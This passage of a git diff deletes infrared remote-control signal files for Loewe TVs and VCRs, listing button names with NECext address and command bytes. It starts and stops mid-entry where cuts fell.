-# -name: GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: WINDOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: N_KNAPP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: D_KNAPP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: INPUT:_FRONT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: FRONT_/_VID_1C -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: INPUT:_VIDEO_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: POWER:_OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: BILDMENY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: INPUT:_ANT_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: INPUT_SAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: STB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: INPUT:_ANTENNA_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: ANT_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: INPUT_STB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: I_(INFO) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: KNAPP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: GUL_KNAPP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: INFO_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: ASSIST+MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: EDIT_FAVORITES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: V_= -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: ASSIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: INPUT:_2_(2) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: INPUT:_VIDEO_2_2ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: INPUT:_S-VIDEO_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: VID_1S -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: RADIO_MODE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LJUDMENY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: SAT_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: INPUT:_RGB_1080I -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: INPUT:_RGB_480P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: INPUT:_DVD_480P -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: TELETEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: T_(TEXT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: END_KEY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: E_(EXIT) -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: SOUND_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: TV_MODE_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: RADIO_MODE_ON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: AV_INPUT_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: INPUT_AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: EPG2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: *_EPG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: INFO_KEY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: PIP_# -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: #_PIP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: TIMER_DIALOG -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: REC_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: DR+_ARCHIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: INPUT:_VGA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: INPUT:_VIDEO_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: INPUT:_DVI -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 70 00 00 00 -# -name: INPUT:_COMPONENT_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 71 00 00 00 -# -name: AV1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 72 00 00 00 -# -name: AV2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 73 00 00 00 -# -name: AV3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 74 00 00 00 -# -name: AVS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 75 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 76 00 00 00 -# -name: HDMI_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 77 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 78 00 00 00 -# -name: HDMI_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 79 00 00 00 -# -name: HDMI_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir deleted file mode 100644 index 0cc99fe5f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/27,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LOCAL_KEYS_+ -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 0F 00 00 00 -# -name: LOCAL_KEYS_RADIO -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 13 00 00 00 -# -name: LOCAL_KEYS_- -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 2D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir deleted file mode 100644 index ba7b0ff57..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/31,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1F 00 00 00 -command: 7F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir deleted file mode 100644 index e5642ad62..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/33,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SOUND_MODE -type: parsed -protocol: NECext -address: 21 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir deleted file mode 100644 index b7e8eefb9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/5,-1.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AV1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 72 00 00 00 -# -name: AV2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 73 00 00 00 -# -name: AV3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 74 00 00 00 -# -name: AVS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 75 00 00 00 -# -name: VGA -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 76 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 77 00 00 00 -# -name: COMP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir deleted file mode 100644 index 8dba5f25e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/TV/6,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: HDR:_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 29 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 29 00 00 00 -# -name: PAUSE_REC -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 29 00 00 00 -# -name: HDR:_REWIND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 32 00 00 00 -# -name: HDR:_FAST_FORW -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 34 00 00 00 -# -name: HDR:_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 35 00 00 00 -# -name: HDR_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: STOPP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 36 00 00 00 -# -name: HDR_RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir deleted file mode 100644 index e15753f94..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_8500H/110,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 07 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 08 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 09 00 00 00 -# -name: STILL -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0B 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0C 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0D 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 0F 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 14 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 16 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 18 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 19 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 1D 00 00 00 -# -name: VISS -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 41 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 42 00 00 00 -# -name: SHOW -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 47 00 00 00 -# -name: LP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 48 00 00 00 -# -name: REST -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 4D 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 50 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 56 00 00 00 -# -name: A/T -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 5F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 83 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 8E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 90 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir deleted file mode 100644 index 0b87efacd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/Unknown_control/0,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: blau- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: aus -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: loud+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: loud- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: bright+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: bright- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: color+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: color- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: gruen -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: rot -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_X -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 27 00 00 00 -# -name: blau -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: gelb -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: gelb+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: blau+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: bildr -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: bild= -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: gelb- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: loud -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: color -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: vt -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir deleted file mode 100644 index f9af79ae1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,0.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOPP -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 00 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 02 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 03 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 06 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 0A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 19 00 00 00 -# -name: LJUD -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 -# -name: OOOO -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 54 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 90 00 00 00 -command: B4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir deleted file mode 100644 index 411009fca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/144,1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CURSOR_UPP -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 02 00 00 00 -# -name: CURSOR_NER -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 03 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 04 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 05 00 00 00 -# -name: LP_/_SP -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 0A 00 00 00 -# -name: M_(MENY) -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 56 00 00 00 -# -name: CURSOR_OK -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 58 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 5D 00 00 00 -# -name: AV_KANALER -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 5F 00 00 00 -# -name: E_(EXIT) -type: parsed -protocol: NECext -address: 90 01 00 00 -command: 66 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir deleted file mode 100644 index 52155b82b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Loewe/VCR/5,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 51 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 53 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 